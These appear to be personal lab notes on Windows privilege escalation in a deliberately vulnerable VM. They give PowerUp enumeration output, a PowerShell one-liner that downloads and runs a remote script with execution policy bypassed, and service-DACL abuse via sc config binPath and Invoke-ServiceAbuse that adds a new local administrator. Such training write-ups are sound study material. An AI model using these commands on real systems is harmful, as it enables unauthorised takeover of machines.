

Windows Privilege Escalation

Thursday, February 27, 2025 11:40 AM

We are going to use winpeas.exe a tool for windows priv escalation

Lab set is install windows 10 on vmware and then just run the setup.bat this will make the machine vulnerable

```
C:\Users\Victim\Downloads>setup.bat

  Local Privilege Escalation Workshop - Windows Installer
    Sagi Shahar (@s4gi_), Tib3rius (@tibsec)

[*] Initial Setup.
[*] Disabling All Firewall Profiles
[*] Disabling Windows Defender
[*] Creating a standard user account..
[i] Username: user    Password: password321
[*] Creating a local admin account..
[i] Username: admin    Password: password123
[+] Initial setup complete.

[*] Configuring Services (DLL Hijacking)
[*] Writing dllhijackservice.exe to drive..
[*] Calculating MD5 hash of dllhijackservice.exe..
[*] Confirming hash.. (fa6e050321f433af0e486acf88eef32)
[+] Hash confirmed.
[*] Moving file to C:\Program Files\DLL Hijack Service\
Access is denied.
[*] Resetting permissions..
[*] Creating dllsvc service..
[*] Setting service permissions..
[*] Starting service..
[+] Services (DLL Hijacking) configuration complete.

[*] Configuring Services (binPath)
[*] Writing daclservice.exe to drive..
[*] Calculating MD5 hash of daclservice.exe..
[*] Confirming hash.. (d62cfe23ad44ae27954d9b054296f2c3)
[+] Hash confirmed.
[*] Moving file to C:\Program Files\DACL Service\
Access is denied.
[*] Resetting permissions..
[*] Creating daclsvc service..
[*] Setting service permissions..
[*] Starting service..
[+] Services (binPath) configuration complete.

[*] Configuring Services (Unquoted Path)
[*] Writing unquotedpathservice.exe to drive..
[*] Calculating MD5 hash of unquotedpathservice.exe..
[*] Confirming hash.. (d62cfe23ad44ae27954d9b054296f2c3)
[+] Hash confirmed.
[*] Moving file to C:\Program Files\Unquoted Path Service\Common Files\
Access is denied.
[*] Resetting permissions..
[*] Creating unquotedsvc service..
[*] Setting service permissions..
```

This script is normally making the windows machine vulnerable to multiple exploitations as show above

After this we will use powerup to check misconfigurations

```
PS C:\Users\admin\Downloads> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\admin\Downloads>
PS C:\Users\admin\Downloads>
PS C:\Users\admin\Downloads>

    Directory: C:\Users\admin\Downloads

Mode                LastWriteTime       Length Name
----                -----          ---- 
-a----   2/27/2025 2:30 PM        562841 PowerUp.ps1

PS C:\Users\admin\Downloads> Import-Module .\PowerUp.ps1
PS C:\Users\admin\Downloads> Invoke-AllChecks
```

```
[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

ServiceName      : unquotedsvc
Path             : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath   : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
                  Permissions=AppendData/AddSubdirectory}
StartName        : LocalSystem
AbuseFunction    : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart       : True

ServiceName      : unquotedsvc
Path             : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath   : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName        : LocalSystem
AbuseFunction    : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart       : True
```

```

ServiceName      : edgeupdate
Path            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile   :
ModifiableFilePermissions :
ModifiableFileIdentityReference :
StartName        :
AbuseFunction    : Install-ServiceBinary -Name 'edgeupdate'
CanRestart       : False

ServiceName      : edgeupdate
Path            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile   :
ModifiableFilePermissions :
ModifiableFileIdentityReference :
StartName        :
AbuseFunction    : Install-ServiceBinary -Name 'edgeupdate'
CanRestart       : False

ServiceName      : edgeupdatem
Path            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc
ModifiableFile   :
ModifiableFilePermissions :
ModifiableFileIdentityReference :
StartName        :
AbuseFunction    : Install-ServiceBinary -Name 'edgeupdatem'
CanRestart       : False

ServiceName      : edgeupdatem
Path            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc
ModifiableFile   :
ModifiableFilePermissions :
ModifiableFileIdentityReference :
StartName        :
AbuseFunction    : Install-ServiceBinary -Name 'edgeupdatem'
CanRestart       : False

ServiceName      : filepermsvc
Path            : "C:\Program Files\File Permissions Service\filepermservice.exe"
ModifiableFile   :
ModifiableFilePermissions :
ModifiableFileIdentityReference :
StartName        :
AbuseFunction    : Install-ServiceBinary -Name 'filepermsvc'
CanRestart       : True

```

Now check I after the other

```

[*] Checking service permissions...

ServiceName      : daclsvc
Path            : "C:\Program Files\DAACL Service\daclservice.exe"
StartName        : LocalSystem
AbuseFunction    : Invoke-ServiceAbuse -Name 'daclsvc'
CanRestart       : True

```

To check what permissions we have on the service, we can use the script named get-serviceACL.ps1

```

powershell.exe -exec Bypass -C "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/Samba0x/tools/master/Get-
ServiceAcl.ps1'); Get-ServiceACL -Name daclsvc | select -Expand access | fl"

```

```

PS C:\Users\admin\Downloads>
PS C:\Users\admin\Downloads> powershell.exe -exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Samba10x/tools/master/Get-ServiceACL.ps1'); Get-ServiceACL -Name daclsvc | select -Expand access | fl"

```

ServiceRights	: QueryConfig, QueryStatus, EnumerateDependents, Start, Stop, PauseContinue, Interrogate, UserDefinedControl, ReadControl
AccessControlType	: AccessAllowed
IdentityReference	: NT AUTHORITY\SYSTEM
IsInherited	: False
InheritanceFlags	: None
PropagationFlags	: None
ServiceRights	: QueryConfig, ChangeConfig, QueryStatus, EnumerateDependents, Start, Stop, PauseContinue, Interrogate, UserDefinedControl, Delete, ReadControl, WriteDac, WriteOwner
AccessControlType	: AccessAllowed
IdentityReference	: BUILTIN\Administrators
IsInherited	: False
InheritanceFlags	: None
PropagationFlags	: None
ServiceRights	: QueryConfig, ChangeConfig, QueryStatus, EnumerateDependents, Start, Stop, Interrogate, ReadControl
AccessControlType	: AccessAllowed
IdentityReference	: Everyone
IsInherited	: False
InheritanceFlags	: None
PropagationFlags	: None

As shown above, Everyone have modification rights which can be used to escalate privileges or create new user or add our user in the admin group

```

PS C:\Users\admin\Downloads> net user user
User name          user
Full Name
Comment
User's comment
Country/region code      000 (System Default)
Account active        Yes
Account expires       Never
Password last set    2/27/2025 2:29:03 PM
Password expires      4/10/2025 2:29:03 PM
Password changeable   2/27/2025 2:29:03 PM
Password required     Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon           Never
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.

```

```
sc config "daclsvc" binPath= "cmd.exe /c net localgroup administrators user /add"
```

OR

```
Invoke-ServiceAbuse -Name 'daclsvc'
```

```
PS C:\Users\admin\Downloads> Invoke-ServiceAbuse -Name 'daclsvc'
ServiceAbused Command
-----
daclsvc      net user john Password123! /add && net localgroup Administrators john /add

PS C:\Users\admin\Downloads> net user john
User name          john
Full Name
Comment
User's comment
Country/region code    000 (System Default)
Account active       Yes
Account expires      Never

Password last set   2/27/2025 2:47:21 PM
Password expires     4/10/2025 2:47:21 PM
Password changeable  2/27/2025 2:47:21 PM
Password required    Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon          Never

Logon hours allowed All
Local Group Memberships *Administrators      *Users
Global Group memberships *None
The command completed successfully.
```